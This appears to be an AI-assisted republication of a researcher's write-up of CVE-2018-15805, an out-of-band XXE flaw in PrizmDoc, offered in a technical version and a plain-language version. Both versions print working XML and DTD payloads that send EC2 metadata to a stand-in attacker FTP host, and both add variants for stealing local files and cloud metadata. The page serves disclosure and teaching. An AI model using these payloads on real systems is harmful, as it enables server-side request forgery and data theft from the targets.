Skip to content
XXE Write-up Intermediate

OOB XXE in PrizmDoc (CVE-2018–15805)

PrizmDoc's XML parsing endpoint was vulnerable to an out-of-band XML External Entity (XXE) attack, allowing an attacker to make the server fetch external resources. The attacker could exfiltrate cloud instance metadata via an FTP back connection.

Nik srivastava Follow

Published on medium.com

Nikhil (niks)

Nikhil (niks), on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

PrizmDoc is a web-based online document viewer that can be embedded into any web page or linked to from any website. Its Viewing Client uses AJAX technology to communicate with the server so that content is rendered quickly on the fly. The product accepts XML from the client in the course of its normal operation, and that is where this issue lives.

The vulnerability is an XML External Entity (XXE) attack, which targets an application that parses XML input. As the author describes it, such an attack may lead to the disclosure of confidential data, denial of service, server-side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts. In this case the exfiltration is out-of-band (OOB), because the data is not returned in the HTTP response but sent to an attacker-controlled FTP server.

The vulnerable system is PrizmDoc < 13.5. The author notes that he originally found the issue on several bug bounty programs running older versions of PrizmDoc, and later realised it was a 0-day after testing it against the latest version.

Setup

No test server was available, so the proof of concept was performed against the vendor's public demo server:

Text
https://www.accusoft.com/demos/file-type-demo/

The tooling was Burp Suite to intercept and replay the request, an external DTD hosted on a URL the attacker controls, and an emulated FTP server listening on a chosen port to receive the out-of-band connection. The FTP port must be written into the malicious DTD so that the parser connects back to it. The author refers to a separate write-up of his for the FTP server setup.

Finding it

The request that the demo viewer sends when a document is downloaded as PDF is an XML document posted to a MarkupBurner endpoint under a viewing session path. Because the body is XML and is parsed server-side, it is a candidate for entity injection: if the parser resolves external entities, an attacker can make the server fetch a DTD from an arbitrary URL and then use the entities defined there to read local or metadata resources and ship them elsewhere.

Exploitation

Step 1: Open the demo

Browse to the demo page:

Text
https://www.accusoft.com/demos/file-type-demo/

Step 2: Reach the viewer

Scroll down to the viewer.

Step 3: Start a download

Click on download.

Step 4: Choose the PDF option

Choose Download as PDF and tick the option corresponding to redactions.

Step 5: Confirm the download

Click on download again. This is the action whose request will be intercepted.

Step 6: Intercept the request

With Burp Suite in the path, the request looks like this:

HTTP
POST /pcc/ViewingSession/ud6e8-z6riLGCd8LEK-[redacted] 5Zk/MarkupBurner HTTP/1.1 Host: pcc-demos.accusoft.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/xml Accusoft-Gid: GYiW8kmOutLSMTRWwxC45w Accusoft-Parent-Name: ViewerControl Accusoft-Parent-Pid: 0 Accusoft-Parent-Taskid: 0 Referer: https://www.accusoft.com/demos/file-type-demo/ Content-Length: 413 Origin: https://www.accusoft.com Connection: close<documentAnnotations><pages><page id="1" pageWidth="1440" pageHeight="810"></page><page id="2" pageWidth="1440" pageHeight="810"></page><page id="3" pageWidth="1440" pageHeight="810"></page><page id="4" pageWidth="1440" pageHeight="810"></page></pages><highlights /></documentAnnotations>

The important parts are the Content-Type: application/xml header, which tells the server to parse the body as XML, and the body itself, a documentAnnotations element containing four page elements and an empty highlights element. The Accusoft-* headers and the viewing session identifier in the path tie the request to the session created by the viewer.

Step 7: Add the external DTD

The request body is replaced with a payload that declares an external DTD and calls its entities:

Text
<?xml version=”1.0" encoding=”UTF-8"?><!DOCTYPE a [ <!ENTITY % asd SYSTEM“http://external.url/evil.dtd"> %asd; %c;]> <documentAnnotations>&rrr;<pages><pageid=”1" pageWidth=”1440" pageHeight=”810"></page><page id=”2" pageWidth="1440"pageHeight="810"></page><page id=”3" pageWidth="1440"pageHeight="810"></page><page id=”4" pageWidth="1440"pageHeight="810"></page></pages><highlights /></documentAnnotations>

In this payload an external DTD is defined with an entity pointing to an external URL that serves a DTD file, and the entity is then called as &rrr; inside <documentAnnotations>.

The DTD file itself should look like this:

Text
<!ENTITY % d SYSTEM “http://[redacted]/latest/meta-data/hostname"><!ENTITY % c “<!ENTITY rrr SYSTEM ‘ftp://x.x.x.x:2121/%d;'>">

Parameter entity d fetches the EC2 instance metadata hostname from the link-local metadata address. Parameter entity c then defines the general entity rrr as an FTP URL whose path contains %d;, so the metadata value is substituted into the URL. When &rrr; is expanded in the document body, the parser resolves that FTP URL and the metadata value travels to the attacker's FTP server as part of the request path.

Before replaying, run the emulated FTP server on a port and make sure that port is mentioned in evil.dtd so the back connection arrives. The author points to his separate write-up for the FTP server setup and gives the entity in this form:

Text
<!ENTITY rrr SYSTEM ‘ftp://your-vps-ip:2121/%d;'>">

Step 8: Replay and watch the FTP server

Modify the request from step 6 with the payload from step 7 and replay it.

From the original on medium.com

The report shows the replay in a screenshot. Then watch the FTP server: a back connection arrives carrying the EC2 metadata.

From the original on medium.com

The report shows the back connection on the FTP server in a screenshot.

Root cause

The XML parser behind the MarkupBurner endpoint resolves external entities in the documentAnnotations body. Because the DOCTYPE declaration is accepted and parameter entities are expanded, the server fetches a DTD from an attacker-supplied URL and then dereferences the entities defined in it, including an FTP URL built from a value read from the instance metadata service. The report does not describe the parser configuration or any code-level detail beyond the behaviour of the requests, so the precise reason external entity resolution was left enabled is not stated.

Impact

Successful exploitation can disclose confidential data, cause denial of service, allow server-side request forgery, and permit port scanning from the perspective of the machine where the parser is located, along with other system impacts. In the demonstrated case the data exfiltrated was the EC2 metadata hostname, obtained through the link-local metadata address, which shows that the parser can reach internal resources on the host's behalf.

Fix

The timeline records the vulnerability as fixed on 8 November 2018; the report does not name the fixed version. The general remedy for this class of bug is to disable external entity and external DTD resolution in the XML parser, or to reject documents containing a DOCTYPE declaration, so that entity definitions in submitted XML are never fetched or expanded.

Variants to test

  1. Any endpoint that accepts Content-Type: application/xml and parses the body: send a DOCTYPE with a parameter entity pointing at a DTD you host. A positive result is an HTTP request from the target to your DTD URL.
  2. Endpoints that echo part of the parsed document back: define a general entity for a local file and reference it in a field that appears in the response. A positive result is file content in the response.
  3. Blind parsers with no output: use the FTP or HTTP exfiltration pattern shown here, with the entity value embedded in the URL path. A positive result is an inbound connection to your listener containing the substituted value.
  4. Cloud-hosted targets: point the entity at the instance metadata address used here and exfiltrate the result out of band. A positive result is metadata content arriving at your listener.
  5. Different XML-bearing features of the same product, such as annotation or markup submission, since the vulnerable endpoint here was a markup burner. A positive result is the same out-of-band callback from a different route.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

A security researcher found a way to make a document-viewing product called PrizmDoc read data from the server it runs on and send that data to a machine he controlled. The trick is a well-known class of bug called XML External Entity, or XXE. In this case the stolen data did not come back in the normal reply to his request; instead the server quietly connected out to his own FTP server and handed the data over there. That is why it is called out-of-band, or OOB: the data travels on a separate channel.

The data he pulled out was the hostname of the cloud server, read from a special internal address that cloud machines use to describe themselves. He tested it on the vendor's public demo page, and the vendor later fixed it.

Background: what PrizmDoc is

PrizmDoc is a web-based online document viewer. A company can embed it into any web page, or link to it from any website, so visitors can look at documents without installing anything. Its Viewing Client uses AJAX technology to talk to the server, so content is rendered quickly on the fly. AJAX simply means the page fetches data from the server in the background, without reloading the whole page.

In the course of that normal operation, the product accepts XML from the browser. XML is a text format for structured data: it uses tags in angle brackets, much like HTML, to label pieces of information. That acceptance of XML is where the problem lives.

The vulnerability class: XXE

An XML External Entity attack targets an application that parses XML input. Parsing means reading the text and turning it into a structure the program can work with. XML has a feature called entities: a short name you can define once and then reuse, a bit like a saved shortcut. Some entities can point outside the document, for example to a file on the server or to a URL. If the parser is willing to follow those pointers, an attacker can make the server fetch things and include them.

As the author puts it, such an attack may lead to the disclosure of confidential data, denial of service, server-side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts. In plain terms:

  • Disclosure of confidential data: the server reads a file or internal value and hands it to the attacker.
  • Denial of service: the server is made to work so hard, or wait so long, that it stops serving normal users.
  • Server-side request forgery (SSRF): the attacker makes the server send requests on his behalf, to places the attacker cannot reach directly.
  • Port scanning: by watching which internal addresses answer, the attacker learns what services run inside the network.

In this case the exfiltration is out-of-band (OOB), because the data is not returned in the HTTP response. HTTP is the language browsers and servers use to exchange pages and requests. Instead of putting the data in the reply, the server is made to connect out to an attacker-controlled FTP server. FTP is an older file-transfer protocol; here it is used purely as a delivery channel.

Which versions were affected

The vulnerable system is PrizmDoc < 13.5, meaning every version before 13.5. The author notes that he originally found the issue on several bug bounty programs running older versions of PrizmDoc, and later realised it was a 0-day after testing it against the latest version. A bug bounty program is a scheme where a company pays researchers for reporting security flaws. A 0-day is a flaw that is not yet publicly known and has no fix at the time it is found.

Setup: what tools were needed

No test server was available, so the proof of concept was performed against the vendor's public demo server:

Text
https://www.accusoft.com/demos/file-type-demo/

This is a page the vendor publishes so people can try the product. Using it meant the researcher did not need to install PrizmDoc himself.

The tooling was:

  1. Burp Suite, a program that sits between the browser and the server so you can pause, inspect and resend requests. Think of it as a pause button and an editing desk for web traffic.
  2. An external DTD hosted on a URL the attacker controls. A DTD, or Document Type Definition, is a file that defines the entities an XML document may use. Hosting it yourself means you decide what definitions the victim's parser will read.
  3. An emulated FTP server listening on a chosen port, to receive the out-of-band connection. A port is a numbered doorway on a machine; a server that listens on a port waits for incoming connections there.

The FTP port must be written into the malicious DTD so that the parser connects back to it. The author refers to a separate write-up of his for the FTP server setup.

Finding it: why this request was interesting

The request that the demo viewer sends when a document is downloaded as PDF is an XML document posted to a MarkupBurner endpoint under a viewing session path. An endpoint is a specific address on a server that accepts a particular kind of request, like a service counter in a large building. Because the body is XML and is parsed server-side, it is a candidate for entity injection: if the parser resolves external entities, an attacker can make the server fetch a DTD from an arbitrary URL and then use the entities defined there to read local or metadata resources and ship them elsewhere.

Exploitation, step by step

Step 1: Open the demo

Browse to the demo page:

Text
https://www.accusoft.com/demos/file-type-demo/

This loads the vendor's public demonstration in the browser. It is the starting point because the researcher wanted to exercise the real product without owning a licence or a server.

Step 2: Reach the viewer

Scroll down to the viewer. The viewer is the part of the page that displays the document, and it is the component that talks to the PrizmDoc server.

Step 3: Start a download

Click on download. This begins the flow that eventually produces the XML request we want to capture.

Step 4: Choose the PDF option

Choose Download as PDF and tick the option corresponding to redactions. A redaction is a part of a document that is meant to be hidden, such as a name or a number blacked out before sharing.

Step 5: Confirm the download

Click on download again. This is the action whose request will be intercepted. Intercepting means catching the request in Burp Suite before it reaches the server, so it can be read and changed.

Step 6: Intercept the request

With Burp Suite in the path, the request looks like this:

HTTP
POST /pcc/ViewingSession/ud6e8-z6riLGCd8LEK-[redacted] 5Zk/MarkupBurner HTTP/1.1 Host: pcc-demos.accusoft.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/xml Accusoft-Gid: GYiW8kmOutLSMTRWwxC45w Accusoft-Parent-Name: ViewerControl Accusoft-Parent-Pid: 0 Accusoft-Parent-Taskid: 0 Referer: https://www.accusoft.com/demos/file-type-demo/ Content-Length: 413 Origin: https://www.accusoft.com Connection: close<documentAnnotations><pages><page id="1" pageWidth="1440" pageHeight="810"></page><page id="2" pageWidth="1440" pageHeight="810"></page><page id="3" pageWidth="1440" pageHeight="810"></page><page id="4" pageWidth="1440" pageHeight="810"></page></pages><highlights /></documentAnnotations>

Line by line, in plain words:

  • POST /pcc/ViewingSession/.../MarkupBurner HTTP/1.1 is the first line. POST is the method, meaning "here is some data for you to process". The long path names a viewing session (the ud6e8-... part is a session identifier) and ends at MarkupBurner, the endpoint that handles markup. HTTP/1.1 is the version of the protocol.
  • Host: pcc-demos.accusoft.com tells the server which site the request is for. One server can host many sites, so this header picks one.
  • User-Agent: ... identifies the browser that made the request. Here it claims to be Firefox 52 on 64-bit Windows 10.
  • Accept: */* says the browser will accept any kind of reply.
  • Accept-Language: en-US,en;q=0.5 says the browser prefers US English.
  • Accept-Encoding: gzip, deflate says the browser can handle compressed replies.
  • Content-Type: application/xml is the important one. It tells the server to parse the body as XML. Without it, the server might treat the body as plain text and never look for entities.
  • Accusoft-Gid: ..., Accusoft-Parent-Name: ViewerControl, Accusoft-Parent-Pid: 0, Accusoft-Parent-Taskid: 0 are custom headers the product uses to tie the request to the viewer component that sent it. They are part of the product's own bookkeeping.
  • Referer: https://www.accusoft.com/demos/file-type-demo/ says which page the request came from.
  • Content-Length: 413 says the body is 413 bytes long.
  • Origin: https://www.accusoft.com says which site the request originates from, used by browsers for cross-site checks.
  • Connection: close asks the server to close the connection after the reply.
  • The body is <documentAnnotations><pages>... and so on. It is a documentAnnotations element containing four page elements, each with an id and a width and height, and an empty highlights element. This is the data the viewer sends about the document's pages and highlights.

The Accusoft-* headers and the viewing session identifier in the path tie the request to the session created by the viewer.

Step 7: Add the external DTD

The request body is replaced with a payload that declares an external DTD and calls its entities:

Text
<?xml version=”1.0" encoding=”UTF-8"?><!DOCTYPE a [ <!ENTITY % asd SYSTEM“http://external.url/evil.dtd"> %asd; %c;]> <documentAnnotations>&rrr;<pages><pageid=”1" pageWidth=”1440" pageHeight="810"></page><page id=”2" pageWidth="1440"pageHeight="810"></page><page id=”3" pageWidth="1440"pageHeight="810"></page><page id=”4" pageWidth="1440"pageHeight="810"></page></pages><highlights /></documentAnnotations>

What each part does:

  • <?xml version=”1.0" encoding=”UTF-8"?> is the XML declaration. It says this is XML, version 1.0, encoded as UTF-8 (a common text encoding).
  • <!DOCTYPE a [ ... ]> is the document type declaration. It is the part that lets the document define entities. The a is just a name for the document type; the square brackets hold the definitions.
  • <!ENTITY % asd SYSTEM“http://external.url/evil.dtd"> defines a parameter entity named asd. The % marks it as a parameter entity, which is an entity usable inside the DTD itself rather than in the document body. SYSTEM means the value comes from outside, and the URL points to a DTD file the attacker hosts. external.url is a placeholder for the attacker's own domain.
  • %asd; uses that entity, which makes the parser fetch the DTD from the attacker's URL and read the definitions inside it.
  • %c; uses a second parameter entity, c, which is defined inside the fetched DTD. This is the trick that chains the two files together.
  • <documentAnnotations>&rrr;<pages>... is the body. &rrr; is a general entity reference: when the parser expands it, it substitutes whatever rrr was defined as. The rest of the body repeats the page elements from the original request so the document still looks structurally normal.

In this payload an external DTD is defined with an entity pointing to an external URL that serves a DTD file, and the entity is then called as &rrr; inside <documentAnnotations>.

The DTD file itself should look like this:

Text
<!ENTITY % d SYSTEM “http://[redacted]/latest/meta-data/hostname"><!ENTITY % c “<!ENTITY rrr SYSTEM ‘ftp://x.x.x.x:2121/%d;'>">

Line by line:

  • <!ENTITY % d SYSTEM “http://[redacted]/latest/meta-data/hostname"> defines a parameter entity d whose value is fetched from http://[redacted]/latest/meta-data/hostname. The address [redacted] is a special link-local address that cloud instances use to expose information about themselves; on Amazon's cloud this is called the instance metadata service. The path /latest/meta-data/hostname asks for the machine's hostname. So d will hold the hostname of the server.
  • <!ENTITY % c “<!ENTITY rrr SYSTEM ‘ftp://x.x.x.x:2121/%d;'>"> defines a parameter entity c whose value is itself another entity definition. That inner definition creates a general entity rrr pointing at an FTP URL on x.x.x.x port 2121, with /%d; at the end. Because %d; sits inside the URL, the hostname fetched by d is substituted into the path. x.x.x.x is a placeholder for the attacker's server address.

Parameter entity d fetches the EC2 instance metadata hostname from the link-local metadata address. Parameter entity c then defines the general entity rrr as an FTP URL whose path contains %d;, so the metadata value is substituted into the URL. When &rrr; is expanded in the document body, the parser resolves that FTP URL and the metadata value travels to the attacker's FTP server as part of the request path. In everyday terms: the server is tricked into reading its own name badge and then walking over to a stranger's desk to hand it over, with the name written on the envelope.

Before replaying, run the emulated FTP server on a port and make sure that port is mentioned in evil.dtd so the back connection arrives. The author points to his separate write-up for the FTP server setup and gives the entity in this form:

Text
<!ENTITY rrr SYSTEM ‘ftp://your-vps-ip:2121/%d;'>">

Here your-vps-ip stands for the address of the attacker's own server (a VPS is a virtual private server, a rented machine on the internet), and 2121 is the port the emulated FTP server listens on. The port in this line must match the port the FTP server is actually running on, otherwise the connection has nowhere to go.

Step 8: Replay and watch the FTP server

Modify the request from step 6 with the payload from step 7 and replay it. Replaying means sending the edited request again from Burp Suite, as if the browser had sent it.

From the original on medium.com

The report shows the replay in a screenshot. Then watch the FTP server: a back connection arrives carrying the EC2 metadata.

From the original on medium.com

The report shows the back connection on the FTP server in a screenshot. Seeing that connection is the proof: the data left the victim's server and arrived at a machine the researcher controls, which is what out-of-band exfiltration means.

Root cause

The XML parser behind the MarkupBurner endpoint resolves external entities in the documentAnnotations body. Because the DOCTYPE declaration is accepted and parameter entities are expanded, the server fetches a DTD from an attacker-supplied URL and then dereferences the entities defined in it, including an FTP URL built from a value read from the instance metadata service. The report does not describe the parser configuration or any code-level detail beyond the behaviour of the requests, so the precise reason external entity resolution was left enabled is not stated.

Impact

Successful exploitation can disclose confidential data, cause denial of service, allow server-side request forgery, and permit port scanning from the perspective of the machine where the parser is located, along with other system impacts. In the demonstrated case the data exfiltrated was the EC2 metadata hostname, obtained through the link-local metadata address, which shows that the parser can reach internal resources on the host's behalf.

Fix

The timeline records the vulnerability as fixed on 8 November 2018; the report does not name the fixed version. The general remedy for this class of bug is to disable external entity and external DTD resolution in the XML parser, or to reject documents containing a DOCTYPE declaration, so that entity definitions in submitted XML are never fetched or expanded. In everyday terms: tell the parser to ignore any instructions that point outside the document, so a submitted file can never make the server go and fetch something.

Variants to test

If you want to look for the same kind of bug elsewhere, these are the patterns worth trying. Each one is a variation on the same idea: get the server to fetch something you chose.

  1. Any endpoint that accepts Content-Type: application/xml and parses the body: send a DOCTYPE with a parameter entity pointing at a DTD you host. A positive result is an HTTP request from the target to your DTD URL.
  2. Endpoints that echo part of the parsed document back: define a general entity for a local file and reference it in a field that appears in the response. A positive result is file content in the response.
  3. Blind parsers with no output: use the FTP or HTTP exfiltration pattern shown here, with the entity value embedded in the URL path. A positive result is an inbound connection to your listener containing the substituted value.
  4. Cloud-hosted targets: point the entity at the instance metadata address used here and exfiltrate the result out of band. A positive result is metadata content arriving at your listener.
  5. Different XML-bearing features of the same product, such as annotation or markup submission, since the vulnerable endpoint here was a markup burner. A positive result is the same out-of-band callback from a different route.

Timeline

  • 23 August 2018: reported the issue to PrizmDoc.
  • 23 August 2018: acknowledgement from PrizmDoc.
  • 23 August 2018: request for a CVE. A CVE is a public identifier given to a known vulnerability so people can refer to it unambiguously; this one is CVE-2018-15805.
  • 23 August 2018: CVE assigned.
  • 29 August 2018: vendor response, with a fix scheduled for October.
  • 8 November 2018: vulnerability fixed.
  • 13 November 2018: published.

Glossary

  • 0-day: a security flaw that is not yet publicly known and has no fix at the time it is found.
  • AJAX: a technique where a web page fetches data from the server in the background without reloading the whole page.
  • Burp Suite: a tool that sits between browser and server so requests can be paused, inspected and resent.
  • CVE: a public identifier assigned to a known vulnerability so it can be referred to unambiguously.
  • Denial of service: making a service so busy or so slow that normal users cannot use it.
  • DTD (Document Type Definition): a file that defines the entities an XML document may use.
  • EC2 instance metadata: information a cloud instance can read about itself from a special internal address; on Amazon's cloud the address is [redacted].
  • Endpoint: a specific address on a server that accepts a particular kind of request.
  • Entity: in XML, a named shortcut that stands for a piece of text or a pointer to something outside the document.
  • Exfiltration: getting data out of a system to a place the attacker controls.
  • FTP: an older protocol for transferring files between machines; here used as a channel to receive stolen data.
  • General entity: an entity that can be used in the body of an XML document, referenced with &name;.
  • Hostname: the name a machine is known by on a network.
  • HTTP: the protocol browsers and servers use to exchange requests and replies.
  • Link-local address: an address used for special local purposes that is not routed across the internet; [redacted] is one.
  • OOB (out-of-band): sending data over a separate channel rather than in the normal reply, so the attacker receives it elsewhere.
  • Parameter entity: an entity usable inside a DTD, declared with % and referenced with %name;.
  • Parser: the part of a program that reads text such as XML and turns it into a structure the program can use.
  • Port: a numbered doorway on a machine that a service listens on for connections.
  • Port scanning: probing a range of ports to learn which services are running on a machine.
  • POST: an HTTP method meaning "here is some data for you to process".
  • PrizmDoc: a web-based online document viewer that can be embedded in web pages.
  • Redaction: a part of a document that is meant to be hidden before sharing.
  • Server-side request forgery (SSRF): making a server send requests on the attacker's behalf, to places the attacker cannot reach directly.
  • Session identifier: a value that ties a series of requests to one user's session on the server.
  • UTF-8: a common way of encoding text as bytes.
  • VPS: a virtual private server, a rented machine on the internet.
  • XML: a text format for structured data that uses tags in angle brackets.
  • XXE (XML External Entity): an attack that abuses an XML parser's willingness to fetch and expand entities that point outside the document.

Similar reports

View all

Same bug class and techniques, clearest first.

XML external entities (XXE)

The lesson behind this report.

An XML parser resolves entities the attacker defines, reading local files or making the server send requests.